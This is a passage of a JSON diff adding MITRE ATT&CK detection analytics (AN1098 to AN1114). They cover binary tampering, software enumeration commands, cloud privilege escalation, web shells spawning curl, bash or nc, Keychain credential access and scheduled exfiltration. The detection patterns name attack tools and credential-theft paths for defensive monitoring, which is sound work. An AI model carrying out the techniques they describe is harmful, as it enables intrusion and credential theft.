"Analytic 1098", + "description": "Detect runtime manipulation by monitoring system calls for modifications to shared libraries, ELF binaries, or environment variables that affect how data is displayed. Look for suspicious writes to application directories and mismatch in binary integrity baselines.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "auditd:SYSCALL", + "channel": "open, write: File writes to application binaries or libraries at runtime" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", + "name": "linux:syslog", + "channel": "Execution of modified binaries or abnormal library load sequences" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "WatchedBinaries", + "description": "Specific critical application binaries or libraries to monitor for unauthorized changes." + }, + { + "field": "IntegrityCheckFrequency", + "description": "Interval for verifying hashes of executables and libraries." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--a9c30b9d-6810-47d3-8bf5-ca787836e7ef", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0391#AN1099", + "external_id": "AN1099" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1099", + "description": "Monitor for runtime manipulation by observing changes in application bundles, unexpected signing modifications, and runtime API calls that inject or alter how data is displayed. Detect alterations in CFNetwork or CoreFoundation frameworks responsible for rendering data.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "macos:unifiedlog", + "channel": "Unexpected application binary modifications or altered signing status" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "macos:osquery", + "channel": "CALCULATE: Mismatch in file integrity of critical macOS applications" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AllowedApps", + "description": "Whitelisted applications expected to handle sensitive runtime data." + }, + { + "field": "SignatureEnforcement", + "description": "Policy enforcement for validating application code signing integrity." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--c0bbe0a5-680f-487b-8f5f-27703efb52b7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0392#AN1100", + "external_id": "AN1100" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1100", + "description": "Adversary spawns a process or script to enumerate installed software using WMI, registry, or PowerShell, potentially followed by additional discovery or evasion behavior.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "WinEventLog:PowerShell", + "channel": "Execution of 'Get-WmiObject Win32_Product' or similar PowerShell cmdlets" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Detection may be scoped to multiple discovery commands within a short timeframe." + }, + { + "field": "ParentProcess", + "description": "Tuning based on whether discovery activity stems from suspicious versus approved management tools." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--c14042f6-5ebd-42a2-b293-b2367b300fb6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0392#AN1101", + "external_id": "AN1101" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1101", + "description": "Adversary invokes 'dpkg -l', 'rpm -qa', or other package managers via shell or script to enumerate installed software.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "Execution of dpkg, rpm, or other package manager with list flag" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "linux:shell", + "channel": "Manual invocation of software enumeration commands via interactive shell" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ScriptName", + "description": "Path to the wrapper script that invokes enumeration commands." + }, + { + "field": "TTYContext", + "description": "Scope detection to interactive vs. background shell contexts." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--a1619e8f-10aa-46ab-8776-898e8c3d5b43", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0392#AN1102", + "external_id": "AN1102" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1102", + "description": "Adversary runs 'system_profiler SPApplicationsDataType' or queries plist files to enumerate software via Terminal or scripts.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "Execution of system_profiler or osascript invoking enumeration" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "auditd:SYSCALL", + "channel": "Command line arguments including SPApplicationsDataType" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AppScope", + "description": "Whether enumeration targets user apps or system apps." + }, + { + "field": "ProcessGroup", + "description": "Parent process or scripting environment (e.g., Python, osascript)." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--3ccd6662-c579-494f-bbfa-ffc3530e3db2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0392#AN1103", + "external_id": "AN1103" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1103", + "description": "Adversary uses cloud-native APIs or CLI (e.g., AWS Systems Manager, Azure Resource Graph) to list installed software on cloud workloads.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--8c826308-2760-492f-9e36-4f0f7e23bcac", + "name": "AWS:CloudTrail", + "channel": "ssm:ListInventoryEntries" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "AWS:CloudTrail", + "channel": "ssm:GetCommandInvocation" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "UserAgent", + "description": "Differentiate access from automated scripts vs. authorized console." + }, + { + "field": "InventoryType", + "description": "May focus on Application or Platform inventory only." + } + ], + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--0119786d-ee1e-4857-b31a-3a43830e28e7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0392#AN1104", + "external_id": "AN1104" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1104", + "description": "Adversary uses 'esxcli software vib list' to enumerate installed VIBs, drivers, and modules.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "esxi:shell", + "channel": "esxcli software vib list" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "esxi:hostd", + "channel": "Host daemon command log entries related to vib enumeration" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "HostAccessMode", + "description": "Detection may vary based on whether enumeration is local or remote." + }, + { + "field": "ScriptChain", + "description": "Presence of enumeration in broader scripted sequence." + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--adfcc782-0285-43ef-af18-127dd60d1dff", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0393#AN1105", + "external_id": "AN1105" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1105", + "description": "Multiple AWS CloudTrail events indicating temporary privilege escalation via PassRole and AssumeRole targeting newly created services or non-interactive infrastructure.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--b5d0492b-cda4-421c-8e51-ed2b8d85c5d0", + "name": "AWS:CloudTrail", + "channel": "PassRole" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "targetRoleName", + "description": "Define which roles are allowed to be assumed or passed; restrict highly privileged roles." + }, + { + "field": "TimeWindow", + "description": "Time range between PassRole and AssumeRole events to link the privilege chain." + }, + { + "field": "invokingService", + "description": "Restrict which services are authorized to invoke role passing (e.g., Lambda, EC2)." + } + ], + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--23b9a5cd-9c49-48d8-9d0d-71e35ad78337", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0393#AN1106", + "external_id": "AN1106" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1106", + "description": "Token creation or access delegation where a user impersonates a higher-privileged service account or performs domain-wide delegation actions, such as GCP's serviceAccountTokenCreator or Workspace impersonation.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--b5d0492b-cda4-421c-8e51-ed2b8d85c5d0", + "name": "gcp:iam", + "channel": "PrincipalEmail with serviceAccountTokenCreator impersonating new identity" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "gcp:workspaceaudit", + "channel": "Token Generation via Domain Delegation" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "userEmailFilter", + "description": "Tune based on legitimate service accounts allowed to impersonate user accounts." + }, + { + "field": "delegatedScope", + "description": "Limit delegated access to specific scopes relevant to business functions." + } + ], + "x_mitre_platforms": [ + "Identity Provider" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--2ec84f0f-1148-4821-acf0-a5527381865f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0393#AN1107", + "external_id": "AN1107" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1107", + "description": "Detection of ApplicationImpersonation role assignment or delegated mailbox access to service principals or rarely used users, especially outside of normal hours or geographic norms.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "m365:unified", + "channel": "Add-MailboxPermission or Set-ManagementRoleAssignment" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "m365:signinlogs", + "channel": "Unusual sign-in from service principal to user mailbox" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TargetMailbox", + "description": "Mailbox of interest where impersonation or access delegation occurs." + }, + { + "field": "UserAgent", + "description": "Tune based on expected application or script-based mailbox access." + }, + { + "field": "GeoLocation", + "description": "Restrict based on corporate geography or travel expectations." + } + ], + "x_mitre_platforms": [ + "Office Suite" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--66c98f78-2848-43f4-a69d-5562f03712ec", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0394#AN1108", + "external_id": "AN1108" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1108", + "description": "Unexpected file creation in web directories followed by web server processes (e.g., w3wp.exe) spawning command shells or script interpreters (e.g., cmd.exe, powershell.exe)", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "WinEventLog:Security", + "channel": "EventCode=4624" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "Inbound HTTP POST with suspicious payload size or user-agent" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "WebRootPath", + "description": "Custom web server directory depending on IIS or third-party hosting environment" + }, + { + "field": "ParentProcess", + "description": "Different server binaries (e.g., php-cgi.exe, apache.exe) that may launch scripts" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--9e80763b-5287-451f-b2ab-37168b159387", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0394#AN1109", + "external_id": "AN1109" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1109", + "description": "File creation of unauthorized script (e.g., .php, .sh) in /var/www/html followed by execution of unexpected system utilities (e.g., curl, bash, nc) by apache/nginx", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "auditd:SYSCALL", + "channel": "new file created in /var/www/html, /srv/http, or similar web root" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "apache2 or nginx spawning sh, bash, or python interpreter" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "POST requests to .php, .jsp, .aspx files with high entropy body" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "WebRootPath", + "description": "Web server root varies by distro and hosting configuration" + }, + { + "field": "PayloadEntropyThreshold", + "description": "Base64 or XOR encoded shells may exceed this value" + }, + { + "field": "TimeWindow", + "description": "Correlate file creation with process spawn within X seconds" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--e5a0bbf3-e5d0-41f1-b757-c67eccece77b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0394#AN1110", + "external_id": "AN1110" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1110", + "description": "Web servers (e.g., httpd) spawning abnormal processes post file upload into /Library/WebServer/Documents or /usr/local/var/www", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "httpd spawning bash, zsh, python, or osascript" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "auditd:SYSCALL", + "channel": "file write operations in /Library/WebServer/Documents" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "InterpreterName", + "description": "Adversary may use different scripting environments" + }, + { + "field": "ExecutionParent", + "description": "Not all web servers are named httpd; may differ in custom deployments" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--aae53d47-1f26-426b-9e50-848f186fed99", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0395#AN1111", + "external_id": "AN1111" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1111", + "description": "Detects abuse of AuthorizationExecuteWithPrivileges API to gain elevated privileges via user credential prompts, typically through invocation of /usr/libexec/security_authtrampoline. Detection involves correlation of API usage, binary reputation, and prompt context.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "Execution of /usr/libexec/security_authtrampoline or child processes originating from non-trusted binaries triggering credential prompts" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", + "name": "macos:unifiedlog", + "channel": "Calls to AuthorizationExecuteWithPrivileges() observed via Apple System Logger or security_auditing tools" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "macos:unifiedlog", + "channel": "User credential prompt events without associated trusted installer package" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "BinaryReputationList", + "description": "Allow list of trusted binaries invoking elevation prompts" + }, + { + "field": "TimeWindow", + "description": "Temporal correlation threshold between API call and credential prompt" + }, + { + "field": "PromptContextValidation", + "description": "Heuristic filters to determine whether a prompt context matches known legitimate installers" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--015260e0-432e-4eaf-978e-b1a32fa6af6a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0396#AN1112", + "external_id": "AN1112" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1112", + "description": "Detects suspicious access to macOS Keychain files and APIs. Observes processes invoking the 'security' utility or accessing Keychain databases directly, correlates these with abnormal parent process lineage or unexpected user context. Monitors attempts to dump, unlock, or read credential storage beyond normal application workflows.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "execution of security or osascript" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", + "name": "macos:unifiedlog", + "channel": "access or unlock attempt to keychain database" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "macos:unifiedlog", + "channel": "read access to ~/Library/Keychains/login.keychain-db" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AllowedApplications", + "description": "Whitelist of applications (e.g., Safari, Mail) normally permitted to access Keychain" + }, + { + "field": "AlertThreshold", + "description": "Number of failed keychain unlock attempts before raising an alert" + }, + { + "field": "ParentProcessContext", + "description": "Legitimate parent-child process relationships for security tool invocations" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--4a92d2e9-fc28-4eac-9b3d-113e74d7bf2d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0397#AN1113", + "external_id": "AN1113" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1113", + "description": "Detection of automated tools or scripts periodically transmitting data to external destinations using scheduled tasks or background processes.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:security", + "channel": "EventCode=4688" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Used to detect repeated exfil activity over intervals (e.g., every 5 minutes)." + }, + { + "field": "DestinationIP", + "description": "Can be tuned to filter known internal or trusted destinations." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--31adce9b-8935-4abf-aaf2-0a13047e25e4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0397#AN1114", + "external_id": "AN1114" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1114", + "description": "Background scripts (e.g., via cron) or daemons transmitting data repeatedly to remote IPs or URLs.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "NSM:Flow", + "channel": "Outbound Connections" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CronJobInterval", + "description": "Tunable time range for recurring tasks seen creating outbound connections." + }, + { + "field": "UserContext", + "description": "Tunable for scope \u2014 service accounts vs user accounts." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--031ed94b-50d9-451e-a853-29ee8d845773", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": 